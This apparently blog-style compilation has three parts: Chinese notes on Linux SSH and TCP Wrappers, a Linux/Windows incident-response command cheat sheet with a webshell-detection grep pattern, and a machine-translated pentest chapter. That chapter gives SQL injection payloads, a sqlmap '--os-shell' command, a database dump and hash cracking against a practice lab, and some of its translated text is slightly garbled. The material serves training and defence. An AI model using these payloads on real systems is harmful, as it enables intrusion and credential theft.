copy的简写,用于在Linux下进行远程拷贝文件的命令,而且scp传输是加密的。本地文件复制到服务器scp li.txt root@192.168.109.11:/opt复制服务器的目录到本地scp root@192.168.109.11:/home/sky/ ./本地目录复制到服务器scp -r sky2/ root@192.168.109.11:/home4.2密钥对配置4.2.1生成公钥和密钥通过ssh-keygen工具为当前用户创建密钥对文件。可用的加密算法为RSA、ECDSA或DSA等( ssh- keygen命令的“-t”选项用于指定算法类型)。密钥对默认存储位置位:“~/.ssh/”下id_rsa是私钥文件,权限默认为600;id_ rsa.pub是 公钥文件,用来提供给ssH服务器4.2.2将公钥文件导入对方用服务端 (注意路径)ssh-copy-id -i /root/.ssh/id_ecdsa.pub root@192.168.94.20五、访问控制–TCP Wrappers在Linux 系统中,许多网络服务针对客户端提供了访问控制机制,如Samba、 BIND、HTTPD、 OpenSsh 等TCP Wrappers 将TCP服务程序“包裹"起来,代为监听TCP服务程序的端口,增加了一“个安全检测过程,外来的连接请求必须先通过这层安全检测,获得许可后才能访问真正的服务程序。[root@localhost ~]# rpm -q tcp_wrapperstcp_wrappers-7.6-77.el7.x86_64 #系统默认安装tcp_wrappers 保护机制的两种实现方式:1.直接使用tcpd程序对其他服务程序进行保护,需要运行tcpd程序。2.由其他网络服务程序调用libwrap.so.* 链接库,不需要运行tcpd程序。此方式的应用更加广泛,也更有效率。使用ldd命令可以查看程序的链接库语法格式: <服务程序列表>: <客户端地址列表>(1)服务程序列表ALL:代表所有的服务。单个服务程序:如“vsftpd" .多个服务程序组成的列表:如“vsftpd,sshd"。 .(2)客户端地址列表ALL:代表任何客户端地址。LOCAL:代表本机地址。多个地址以逗号分隔允许使用通配符*“和”?”,前者代表任意长度字符,后者仅代表一个字符网段地址,如"192.168.223." 或者192.168.223.0/255.255.255.0区域地址,如”lic.com"匹配lic.com域中的所有主机。访问控制的基本原则:首先检查/etc/hosts.allow 文件,如果找到相匹配的策略,则允许访问;否则继续检查/etc/hosts.deny文件,如果找到相匹配的策略,则拒绝访问;如果检查上述两个文件都找不到相匹配的策略,则允许访问。“允许所有,拒绝个别”只需在/etc/hosts.deny文件中添加相应的拒绝策略“允许个别,拒绝所有除了在/etc/hosts .allow中添加允许策略之外,还需要在/etc/hosts.deny文件中设置"ALL:ALL"的拒绝策略。比如:只允许192.168.94网段的主机访问sshd服务,需要同时改两个文件vim /etc/hosts.allowvim /etc/hosts.deny
linux+windows应急响应必备常识
应急响应流程收到客户的主机中毒事件的问题通报,然后向客户获取中毒主机的ssh远程连接权限,或者到客户现场进行现场排查,(这种情况较少)。注意事项1. 了解安全事件情况
• 现在遇到了什么问题?
• 什么时间发现的?如何发现的?谁发现的?
• 服务器是否有异常?具体特征是什么?安全设备是否有告警?
• 什么系统?用了什么中间件?什么开发语言?业务架构是什么?网络拓扑大概是什么样子?设备有没有重启或者关机过?是否有日志服务器?
• 需要我解决什么?
2. 事件初步判定
• 根据客户所描述的信息,对事件形成初步判断,建立排查方向与应急思路
• 判断自己能否处理,不能处理是否有其他同事可以处理
3. 不要执行更改文件属性命令和操作;
• 特定环境下文件的属性是可以改变的,甚至攻击者可以不改变文件属性前
提修改文件内容
• 保持样本最原始的属性和权限以及用户,方便溯源
• 利用cp之后很可能在恢复阶段时候业务会宕掉(注意权限问题)
4. linux不要执行rm -rf 的命令;
• 可以加-f,但是-rf 组合一定慎用
• 最好还是mv,移除样本
5. 取样本的时候建议使用mv命令移到文件夹;
• mkdir $HOME/sample建一个sample文件夹
• mv 样本 $HOME/sample下
6. linux的bash默认只记录1000条,超过就会被覆盖;
• 建议先备份$HOME/.bash_history
• 或者对history进行加固
7. linux终端交互式shell不只有bash一种;
• zsh
• csh排查思路,以及常用的命令Linux「查看进程」ps aux
ps -ef
pstree -aup
top
1 每个逻辑CPU状态
b 高亮
x 高亮排序列
ps aux | grep pidlsof -i:port
-i 筛选关键字,比如进程名、PID、USER、IPv4/IPv6、TCP/UDP
pstree -aphn
-a 显示该进程命令行参数
-p 显示pid
-h 高亮当前进程以及父进程
-n 按照pid排序「网络连接」netstat -antlp
-a 显示所有连接和端口
-n 以数字形式显示ip和port
-t 显示tcp
-l 显示监听的服务
-p 显示建立连接的进程名以及pid
ESTABLISHED 建立连接、LISTENING 侦听状态、TIME_WAIT 连接超时
ss –antpr
-a 显示所有连接和端口
-n 不解析服务的名称
-t 显示tcp sockets
-l 显示监听的端口
-p 显示监听端口的进程
-r 把ip解析为域名
tcpdump –i eht0 -w eee.pcap
-i 要抓取的网卡接口
-w 要保存的文件名
-C 100m 大于100M分割为另一个包
-c 10000 超过1万个停止抓包
src host xxx 仅仅捕获由该主机发起的流量
drc host xxx 仅仅捕获发往该ip地址的流量
src port xxx 仅仅捕获由该端口发起的流量
#查看 PID 所对应的进程文件路径
file /proc/$PID/exe「异常文件」ls -alth
-a 显示所有文件
-l 显示文件权限,属组属主,大小,日期
- t 按照时间顺序排序
-h 高亮
strace -f -e trace=file 接可执行文件
-e 跟踪子进程
-f 跟踪类型,file、process、trace, abbrev, verbose, raw, signal, read, write, fault,inject, status, kvm
find
find path –name xxx search_filename/directory
find path -name "*.php" -exec tar -rvf sss.tar.gz {} \; • find / \( -path /etc -o -path /usr \) -prune -o -name '*.conf'
-mtime 修改时间
-ctime 属性权限更改
-atime 访问时间
grep file_content search_directory
-R 搜索字符串
-P 使用正则匹配
-n 包含字符串文件的行号
grep -RPn "(xx.xx.xx) *\(" /var/log
grep -RPn
“assthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab)
*\(" /var/www
strings
strings /usr/bin/.sshd | grep '[1-9]{1,3}.[1-9]{1,3}.' //分析sshd文件,是否包括IP信息
file
lsattr/chattr
-a 只能增加数据,但不能删除
-i 不能删除,改名,设定链接,不能写入或新增
lsattr malaware_file
chattr –i malaware_file
chattr +i malaware_file
hexdump
-b 以8进制显示输出结果
-c 以ASCII码显示输出结果
-C 以〸进制+ASCII码显示输出结果「后门账户」#主要查看uid为0的账户
cat /etc/passwd
#查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
#查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
#除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
#禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
usermod -L user
#将删除user用户,并且将/home目录下的user目录一并删除
userdel -r user「ssh公钥」/root/.ssh/authorized_keys「登录日志」 last lastb 登陆失败
lastlog 最后一次登陆「查看启动项」more /etc/rc.local「查看服务」#查看服务自启动状态
chkconfig --list「任务计划」crontab -l 查看计划任务
crontab -e 编辑计划任务
crontab -r 删除计划任务
crontab -u 查看某用户计划任务
ls -al /var/spool/cron/*
cat /etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/cron
/var/spool/anacron
#查看目录下所有文件
more /etc/cron.d/*
/etc/anacrontab
/var/spool/anacron/*「系统信息排查」#du
-s 显示总计
-h 以合适单位输出统计结果
df
-u 显示当前文件系统空间使用情况
#lspci
-v 以初阶显示设备详细信息
-vv 以进阶显示设备详细信息
-s xx:xx –vv 仅显示总线和
插槽的设备信息,xx:xx数值可以通过lspci获得
#lsusb
-v 显示USB的详细信息
-s xx:xx –vv 仅显示总线和设备号的设备信息,xx:xx数 值可以通过lspci获得
-d xx:xx仅显示指定厂商和产品编号的设备
who 显示当前所有登陆的信息
whereis 查找二进制文件路径
uname -a 打印系统信息
#last
description: 列出目前与过去登陆系统的信息
log_path: /var/log/wtmp
会读取wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。
#lastb
description: 列出登陆失败系统的信息
log_path: /var/log/btmp
它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来#systemctl 系统服务管理指令
systemctl status sshd 查看ssh服务状态
systemctl start sshd 启动ssh服务
systemctl stop sshd 关闭ssh服务
systemctl enable sshd 设置ssh开机自启动
systemctl disbale sshd 关闭ssh开机自启动
service 控制系统服务指令
command_usage: service 'service_name' status/start/stop/restart #rsyslog日志配置
configuration_file: /etc/rsyslog.conf
configuration_directory: /etc/rsyslog.d/
#lastlog
description: 显示所有用户最后一次登陆信息
log_path: /var/log/lastlog
它根据UID排序显示登录名、端口号(tty)和上次登录时间。
如果一个用户从未登录过,lastlog显示**Never logged**「一些防火墙基础」#iptables
-t 接表名(raw'网址过滤',nat'地址转换',filter'包过滤',mangle'数据包修改')
- L 列出表里的规则
-n 显示IP
- v 显示进阶的信息展示
-A 将规则添加到最后,只有放到最后才能执行
-i 指定网卡接口
-j 执行操作(包括有且不限于ACCEPT、DROP、RRDIRECT)
systemctl start/stop/restart/status iptables 防火墙开启、关闭、重启、状态
iptables –L INPUT/OUTPUT -n 查看入站/出站规则
iptables -D INPUT 接规则号
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允许某个网段连接22端口
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某个网段对连接22端口#firewalld
--state 防火墙状态
--reload 不中断服务重启加载
--compete-reload 中断所有连接重新加载
--runtime-to-premanent 永久保存添加的规则
--check-config 检查配置
--get-log-denied 查看拒绝日志
--set-loag-denied 接参数 设置拒绝日志监测等级(all/unicats/broardcast/multicast/off)
systemctl start/stop/restart/status firewalld 防火墙开启、关闭、重启、状态
firewalld-cmd –-state 查看防火墙状态
firewalld-cmd –-list-services 查看开放的服务
firewalld-cmdd –-add-ports=22/tcp 开启22端口
firewalld-cmdd –-remove-ports=22/tcp 关闭22端口
firewalld-cmd –-reload 更新防火墙规则「关键系统命令是否被替换」这个随便输几个试一试「几个关键的日志文件」SSH /var/log/secure
记录系统 /var/log/message
计划任务日志 /var/log/cron
记录所有用户的登录 /var/log/wtmp「树形系统结构与应急」/bin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/bin
本地登陆用户可访问应用程序/可执行二进制文件
一般恶意软件更容易感染该目录下文件,例如ssh、top、crontab.......
/sbin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/sbin
在系统启动期间本地登陆的管理用户有关系统管理的可执行二进制文件
该目录一般不容易出问题,除非是git.kernel.org被搞了,里边命令例如
fastboot、fdisk、grub.......
/usr
unix software resource的简写
登陆用户对linux操作的实际目录,包含了linux的应用程序/可执行程序、64/32 位的依赖库、登陆用户的配置文件、登陆用户的底层管理程序、头文件
/var
可以理解为linux的缓存目录,大多数情况会以只读挂载到/usr下用于系统的缓
存数据和应用程序的缓存,例如应用程序缓存、标准库、某个程序运行导致的
文件设备的锁定(apt、yum)、日志文件、pid信息
/lib、/lib32、/lib64、libex32、/libexec
/lib主要包含内核模块、引导系统以及linux运行所需要的基本共享库
/lib<qual>在不同(32/64)环境下会调用不同的基本共享库
/libx32 是面向x32 ABI(x32 Application Binary Interface)的目标文件和库
/libexec不由用户和shell执行的二进制文件,一些lfs用于产品会有libexec作为部 署程序
一些二进制可执行程序劫持,会将so文件释放到/lib下
/dev
device的简写
存放着一些特殊的文件和设备文件位置
/dev/null 是类Unix系统中的一个特殊文件设备,他的作用是接受一切输入它的
数据并丢弃这些数据。
/mnt
mount的简写,挂接光驱、USB设备的目录
mount /dev/nvme0n1pxx /mnt/xxxx // 挂载
umount /mnt/xxxx //卸载
/proc
linux伪文件系统,存储了系统正在运行的所有信息,例如高级电源管理、引导参数、
所有设备使情况......
通常我们会用ls –alth /proc/*/exe,查看某恶意进程对应的二进制文件或查看文件已
经被删除,但是进程还在跑的情况
/sys
linux伪文件系统,为linux提供内核、驱动、设备信息,包括但不限于各种总线,有点
类似于window硬件管理
/root、/home
root用户目录、普通用户目录
都存放着用户shell相关的配置文件,例如.bashrc、.bash_history、.ssh、.config、
profile
可能会存在恶意alias(bashrc)、攻击留下来的历史命令信息(.bash_history)、用来维
持权限的免密登陆(.ssh/authorized_keys)、一些软件的配置信息(.config)
/boot
主要存放linux内核文件以及引导加载程序,出现问题的比较少,利用难度比较高
/run
该目录是临时文件系统, 存储是启动之后的所有信息
/srv
区别于/var目录,主要存储用户主动产生的数据和对外的服务
/tmp
临时文件目录,用户存放用户产生的临时文件,可以随时销毁,或者系统可以自动销 毁,权限比较低
由于权限比较低,所以恶意软件或者攻击行为会在此路径下生成或落地木马以及工具。「Rootkit查杀」专用查杀工具 chkrootkit rkhunter「linux常用工具」nethogs 是一个小型的“网络顶部”工具。它不像大多数工具那样按协议或每个子网分解流量,而是按进程对带宽进行分组。iftop iftop用于查看网络上的流量情况,包括实时速率、总流量、平均流量等,是一款实时流量监控工具。Windows「进程」#查看进程
tasklist
tasklist –m |findstr "string"
-m 显示所有exe/dll的服务,如果没有指定参数将显示所有加载模块
-svc 显示每个进程服务
-v 显示所有进程详细服务信息
#强制停止某进程
taskkill /T /F /PID
#获取进程的全路径
wmic process | finderstr “xxxx”「异常网络流量」#可用fistr过滤,类似Linux的grep命令
netstat -antop tcp
-a 显示所有连接和端口
-n 以数字形式显示ip和port
-t 显示连接状态
-o 显示连接关联进程ID
-p TCP/UDP
> eee.txt 如果连接很多可以接>,输出到文件, cat eee.txt |awk '{print $2}'
ESTABLISHED 建立连接 LISTENING 侦听状态 TIME_WAIT 连接超时 SYN_SENT 请求连接 SYN_RECVD 收到请求连接
#打印路由表
route print
#查看网络代理配置情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"「敏感文件路径」%WINDIR%
%WINDIR%/System32
%TEMP%
%APPDATA%
%LOCALAPPDATA%
%LOCALAPPDATA%\Low
%ProgramData%\Temp
%ProgramData%\Temp\Low
%UserProfile%\Recent「账户」查询登陆系统会话query user把账户踢出会话logoff ID打开lusrmgr.msc,查看是否有新增/可疑的账号用D盾 -> 查看服务器是否存在隐藏账号、克隆账号「查看启动项」运行->msconfig 引导、服务、工具
#查看系统开机时间
net statistics workstation
#查看系统计划任务
schtasks /query /fo LIST /v
#查看程序启动信息
wmic startup get command,caption
#查看主机服务信息
wmic service list brief「计划任务」一些恶意软件通常会写入计划任 务达到维持权限,横向的目的命令类的: 运行->tasksch.msc工具类的: Autoruns、这台计算机->(右键)计算机管理->计划任务程序「系统日志」win +r eventvwr.msc或者计算机管理——事件查看器事件日志分析「对于Windows事件日志分析,不同的EVENT ID代表了不同的意义」事件ID说明4624登录成功4625登录失败4634注销成功4647用户启动的注销4672使用超级用户(如管理员)进行登录4720创建用户「每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式」登录类型描述说明2c(Interactive)用户在本地进行登录。3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时。4批处理(Batch)通常表明某计划任务启动。5服务(Service)每种服务都被配置在某个特定的用户账号下运行。7解锁(Unlock)屏保解锁。8网络明文(NetworkCleartext)登录的密码在网络上是通过明文传输的,如FTP。9新凭证(NewCredentials)使用带/Netonly参数的RUNAS命令运行一个程序。10远程交互,(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机。11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可「系统补丁是否打全」#cmd
systeminfo
#工具和在线地址
https://i.hacking8.com/tiquan
https://github.com/bitsadmin/wesng「其他排查项」杀毒软件功能是否异常?是否有异常驱动文件?C:\Windows\System32\drivers都记录了那些日志,Web日志「映像劫持」参考学习文档https://ssooking.github.io/2019/12/windows%E5%90%8E%E9%97%A8-%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81/「工具篇」微软官方的几款工具 具体介绍百度,或者参考以前的安服工程师修炼手册autoruns https://docs.microsoft.com/en-us/sysinternals/downloads/autorunstcpview https://docs.microsoft.com/en-us/sysinternals/downloads/tcpviewprocexp https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorerNetwork Monitor https://www.microsoft.com/en-us/download/confirmation.aspx?id=4865火绒剑 卡巴斯基 dr.web 无需安装、不与其他杀毒软件冲突、不会被病毒限制启动wirshark 流量抓包神器 可以抓五层流量,应、表、会、传、网、数ip.addr== 匹配地址(源/目的) 数据包
tcp.port== 匹配TCP端口
http.request.uri=="xxx" 匹配指定URL
http.host == "domain" 匹配域名的数据包具体教程:https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFiltersBrowser_Network_AnalysisF12检查功能,用途网页篡改,可以用Burpsuite或者Wireshark替代,根据网页文件、js、css加载顺序,时间先后顺序判断网页跳转所在。webshell排查❝常见的检测方法有基于主机的流量-文件-日志检测、关键字(危险函数)匹配、语义分析等❞web日志审计access.log(/var/log/nginx)使用工具查杀Web目录Windows:D盾 - http://www.d99net.net/down/WebShellKill_V2.0.9.zipLinux:河马 - https://www.shellpub.com/但工具查杀不靠谱,还是要手动查看Web目录下的可解析执行文件;通过Web访问日志分析可快速定位到webshell位置。「网站被植入WebShell的应急响应流程」主要关注Web日志,看有哪些异常的HTTP访问,如果有源码,可以用文件对比的方法快速定位Webshell。(一定要是客户备份的源码,千万不要直接到主源码上操作。)定位时间和范围:扫描WebShell位置;定位文件创建的时间;检查Web根目录.htaccess文件Web日志审计:例如查看access.log(/var/log/nginx),下载到本地审计漏洞分析:分析可能存在漏洞的地方,复现漏洞GetShell。漏洞修复:清除WebShell并修复漏洞对系统和Web应用进行安全加固
新建 Microsoft Word 文档(上)
服务器端攻击正如我们在第4章中所了解到的,大多数组织都会提供一个可访问Internet(或Intranet,如果在防火墙后面进行测试)的网站,以向匿名用户推销组织能力、联系信息等。这些类型Web服务的一种常见部署方法是托管在非军事区(DMZ)中,非军事区是一个逻辑上或物理上独立的子网,用于公开组织面向公众的外部服务。注入攻击在本节中,我们将深入探讨三种不同的注入攻击:lSQL注入(SQLi)l命令注入lXML外部实体注入(XXE)我们在第4章中了解到,在漏洞扫描期间,您应该检查HTTP参数,以查找Web应用程序可能无法验证的可能注入点,无论是通过客户端代码(JavaScript)还是使用服务器端代码(如PHP)。例如,HTML表单验证可以通过JavaScript进行处理,当用户单击Submit按钮时,输入到用户输入字段(如Name, E-mail, Address等)的数据可以通过JavaScript函数进行处理。如果输入字段包含无效数据,则不会提交表单页。但是,此过程位于客户端,用户可以操纵它来绕过此类检查。通过使用类似的验证规则,服务器端代码可以提供额外的保护层,以确保数据得到适当的清理(即删除无效字符)并在后处理期间得到验证。不正确的输入验证可能会导致网站或应用程序服务通过各种攻击途径受损,包括XXE、命令注入和SQLi。SQL注入为了测试SQLi,您需要对用于在数据库上执行操作的命令和语法有一定程度的理解。结构化查询语言(SQL)用于管理远程数据库管理系统(RDMSs)中的数据。我们讨论了一些常见的第4章已经在第4章介绍了诸如PostgreSQL、Oracle和MySQL之类的RDMS。SQL遵循这些数据库中的常见语法,用于构建查询,如下所示:lINSERT:用于在数据库中创建新记录的命令lSELECT:用于从数据库检索记录的命令lUPDATE:用于更新数据库中的现有记录的命令lDELETE:用于删除现有数据库的命令注意:在本章中,我们将讨论并利用与MySQL RDMS相关的SQL命令语法。www.sql-workbench.net/dbms_comparison.html,它提供了可在不同RDM的SQL语句中使用的常见SQL功能的比较。有不同的方法连接到远程主机上运行的MySQL数据库。连接的一种方法是使用以下命令语法。这将提示您输入用户密码:mysql -u-p -h注意:如果使用--password选项并在命令行中指定密码,密码将显示在本地进程列表中,并且您正在(像BASH)中工作的shell可能会记录您的命令历史记录并将密码存储在历史记录文件中。这是一种错误的做法,可能会为攻击者提供额外的网络访问权限。如果您以"root "用户身份连接到MySQL服务器,那么您可能拥有所有权限,可以操作或创建任何您想要的数据库,甚至可能通过用户定义函数(UDF)获得shell权限。要查看MySQL用户账户拥有的权限列表,可以执行show privileges;在mysql>提示符下。请确保使用分号来完成每个命令语句。如果您忘记了,MySQL将继续提示输入其他命令语法,直到它识别出分号为止。要访问MySQL中的特定数据库,可以执行use;命令然后,一旦在当前数据库中操作,就可以使用表9-1中所示的命令开始处理其中的数据。CommandPurposeSHOW tables;List tables in a database.DESC <table name>;Describe column (field)values in a table.SELECT <column> from <table>;从表中选择字段。例如,要查看MYSQL数据库用户表中的所有用户账户,请执行以下操作:SELECT host,user,authentication string from mysql.user;另一个示例是使用WHERE子句根据特定字段值过滤查询结果。从mysql中选择所有记录的示例。user='root'所在的用户表:SELECT host, authentication string from mysql.user WHERE user "root";INSERT INTO<tablename>(column1,column2, column3,... ) VALUES (valuel, value2,value3, …);INSERT命令允许以特定列顺序插入具有给定值的新记录。这些值必须与为每列定义的数据库架构相匹配,如使用DESC命令描述给定表架构时所示。RDBM系统使用密钥管理数据库中的唯一记录。主键是唯一标识表中每一行的一列或一组列,通常使用“id”之类的名称进行引用。外键是一个表中的字段,与另一个表中的另一个字段相匹配。这会对相关表中的数据进行约束,并帮助MySQL等数据库保持引用完整性。DELETE <database name>;从MySQL中删除给定数据库。您也可以简称为DEL。表9-1常见MySQL命令MySQL中的用户定义函数(UDF)UDF是一种使用新函数扩展MySQL的方法,该函数的工作方式类似于原生(内置)MySQL函数,如CONCAT()。为了在渗透式测试期间使用UDF,MySQL目标需要已经installed/configured了sys_eval和sys_exec函数,并在磁盘上有一个写的地方(对于Linux,通常是/tmp,对于Windows,如果用户有系统权限,这通常是默认安装中的情况,您可以在任何地方写)。如果受损的MySQL服务器具有这些功能,并且用户账户有权在MySQL查询中执行这些功能,则可以使用sqlmap命令连接并执行操作系统shell,使用类似的命令语法:# sqlmap -d "mysql://root:password@192.168.1.60:3306/test" --os-shellsqlmap命令仍然会将您拖到os shell>提示符;但是,如果这些函数不存在,您将在连接到数据库后看到警告消息。要了解MySQL中UDF的更多信息,可以查看以下Metasploit模块:exploit/multi/mysql/mysql_udf_payload受到SQL注入攻击的HTTP参数通常包括两种数据类型:一种是整数;另一种是字符串。在Web GET或POST请求中,包含字符串值的参数看起来类似于以下内容:http://example.com/test.php?name=John%20Smith,其中%20是空白的URL编码。Web服务器或应用程序处理的URL不能包含空格。因此,URL编码有助于用%和两个十六进制数字替换可能有害的ASCII值。在Web GET或POST请求中,整数值通常类似于以下内容:http://example.com/test.php?id=1.提示您可以在www.w3schools.com上了解有关URL编码和其他Web概念(如HTML、CSS和JavaScript)的更多信息。下面的PHP代码示例显示了如何在服务器上处理针对"id="值的HTTP GET请求:
$id = $_GET["id"];
$item= mysql_query("SELECT * FROM my.store WHERE id=".$id);
$row = mysql_fetch_assoc($item);
// ..additional code omitted below..
?>PHP代码中的mysql_query()函数将针对my.store构建一个查询。存储数据库并返回ID字段与给定请求匹配的所有选定数据。mysql_fetch_assoc()函数将返回查询生成的值的结果数组。不同类型的SQLi攻击包括以下几种:l盲SQL注入:向数据库询问一系列正确或错误的问题,并评估Web服务器的响应。l基于错误的SQL注入:使用数据库错误派生有效语句,该语句可用于从数据库中提取其他内容。l联合查询SQL注入:构建在查询中使用的原始SELECT()语句的基础上,以将结果扩展到预期之外。l堆叠查询SQL注入:其工作方式是终止原始查询并执行另一个查询,例如从mysql中选择所有记录。用户表。例如:http://example.com/test.php? id=1;select%20*%20from%20mysql.users--要评估参数是否是可注入的,如前一个示例中的id= field,您可能需要尝试一系列注入标准,以从数据库中引出错误,如前一章所述。这也称为基于错误的SQL注入,其中后端数据库产生的错误将根据潜在的注入标准进行评估。MySQL错误,例如:1064 - You have an error in your SQL syntax; check the manual that corresponds to yourMySQL服务器版本,以便在第1行的""附近使用正确的语法。可以帮助您开发有效的SQL注入语法,以用于针对可注入参数。但是,如果Web服务器出现一般性错误,如"抱歉,您的搜索条件不正确",则该参数可能仍有漏洞,但您的查询无效,需要对其进行故障排除。为了解决查询故障,可以使用所谓的盲SQLi,这是在看不到数据库输出时从数据库中过滤数据的另一种方法。利用盲SQLi的两种常用方法是基于布尔和基于时间的。基于布尔值的SQLi是向数据库询问True(例如,id=1和1=1)或False(例如,id=1和1=2)问题,并根据应用程序给出的响应确定答案,其中的响应可能是内容错误或空白页。基于时间的SQLi依赖于数据库在给定的时间内暂停(或休眠),然后返回结果,这表明SQL查询已成功执行。例如,针对示例PHP代码中的theysql_query()执行基于时间的SQLi可能如下所示http://example.com/test.php?id=1'and sleep(5)—如果id= parameter易受盲SQLi影响,则网页加载将延迟五秒钟。至此,您可以继续使用盲SQLi枚举构成数据库名称、表名称的有效字符,可能还有mysql中的密码/哈希。用户表,具体取决于执行查询的数据库用户所拥有的权限。这是一种线性搜索,其中每个值都会进行计算,直到找到正确的字符:如果数据库名称的第一个字母是"a",请等待五秒钟。如果数据库名称的第一个字母是"b",请等待五秒钟。二进制搜索是另一种有助于加速盲SQLi攻击的方法,在这种方法中,可以从排序数组中识别目标值的位置。其工作原理是:二进制搜索将确定数组的中间元素,并将其与目标值进行比较(数组将是组成ASCII表的所有字符)。如果中间元素匹配,则返回。但是,如果该值大于中间元素位置,则将从搜索中丢弃数组的下半部分,并且仅在搜索条件中使用剩余的上半部分。漏洞数据库网站上的"使用位转移的更快盲MySQL注入"论文(https://www.exploit-db.com/papers/17073)提供了如何在盲SQLi攻击期间优化二进制搜索的示例。1、但很有可能盲SQLi很耗时。渗透式测试实验室 (https://pentesterlab.com)提供免费的实验室和练习,你可以用它们来展示你的测试技能,包括SQLi。本节的下一部分将重点介绍从渗透式测试实验室网站的"从SQL注入到Shell "练习中下载国际标准组织(ISO)磁盘映像。本ISO还随本书提供了在线内容(详情请参见附录)。在本练习中,我假设您有一个可用的、更新的Kali Linux副本和某种类型的虚拟化软件(如VMware Workstation、VMware Player、Oracle Virtualbox等)来托管ISO磁盘映像。接下来,我们将演示如何使用sqlmap来测试和评估我的精彩Photoblog PHP Web应用程序中SQLi漏洞的Web参数。一旦易受攻击的VM在您的测试环境中启动并运行,请导航到VM托管的网页:http://。(https://pentesterlab.com/exercises/from_sqli_to_shell/course)2、如果您单击菜单栏上的测试,您将被带到另一个呈现发布到博客页面的其他图像的页面。URL中填充了以下内容:http:///cat.php?id=13、让我们继续测试id=参数,在id字段中的数字后面插入一个引号('),如下所示"?id=1"。将URL提交回Web应用程序后,您应该会收到前面讨论的MySQL 1064错误。4、现在我们知道数据库正在处理我们的请求,而应用程序没有验证输入并从请求中过滤出特殊字符,我们可以使用sqlmap测试参数。在Kali Linux的命令行中,执行以下操作# sqlmap -u http:///cat.php?id=1sqlmap命令应将数据库标识为MySQL,并询问是否应跳过其他RDM的有效负载测试。键入Y并按ENTER键。然后再次键入Y以包含MySQL的所有测试,并在要求继续测试其他参数时键入N。注意:sqlmap将在中的用户主目录下(如果使用Kali,则为/root)输出结果((log, target.txt, and session.sqlite).sqlmap/output/。5、如果我们调查日志文件,我们将看到id参数是通过HTTP GET请求计算的,并且发现有多种注入类型,包括l基于布尔的盲l基于错误lAND/OR基于时间的盲下图显示了注入类型以及使用sqlmap测试的每个给定负载,以证明注入是可能的6、下一步是使用sqlmap攻击SQLi漏洞,以便从数据库中读取任意数据。如果您注意到PHP Web应用程序菜单栏,则会有一个管理员登录页面。让我们看看是否可以从数据库中提取用户和可能的哈希值,以破坏登录访问。由于这是一个实验室环境,让我们运行与步骤4中使用的相同的sqlmap命令,但在命令语法中添加"-a",并让sqlmap使用执行查询的数据库用户的权限对MySQL数据库执行任何事情。您将看到,sqlmap能够从"photoblog"数据库的"users"表中提取用户和哈希。如果我们想用一个单词表来破解MD5哈希,这也很好。只需按ENTER键即可继续使用默认值。一两分钟后,SQL map应该能够使用其默认单词列表破解哈希。7、sqlmap结果再次存储在/root/中。sqlmap/output/包含一个名为dump的新目录,该目录为sqlmap可以从中发现和枚举信息的每个数据库都有子目录。dump/photoblog/users.csv文件包含用于登录管理页面的用户名和密码。以下是Photoblog应用程序的成功登录管理页面:提示:与使用-a选项使用sqlmap捕获所有内容不同,您可以通过使用-tables从当前数据库中查找应用程序正在查询的给定HTTP参数中的所有表,从战略上研究您正在查找的内容。然后可以使用--sql query="select * from photoblog.users",并从users表中返回每条记录。然后,使用规则将从sqlmap检索到的MD5哈希传递给一个单词列表,并使用John the Ripper (JtR)将其传递给一个单词列表# john --format=Raw-MD5 –-rules --wordlist=rockyou.txt另一方面,使用-a选项使用sqlmap测试所有内容可能是危险的。如果数据库已满负荷运行,则在测试期间运行同步查询可能会无意中导致数据库崩溃。在执行可能导致数据库挂起的查询(例如基于时间的攻击)后,监视数据库/Web服务器的运行状况和状态是一种很好的做法。在生产环境中操作时,应与客户进一步讨论SQL注入攻击和在参与过程中使用sqlmap,以确保客户了解使用自动化SQL注入测试工具带来的潜在风险。其他可以用来提高SQLi技能的练习网站有
• https://hack.me/t/SQLi
• www.gameofhacks.com/
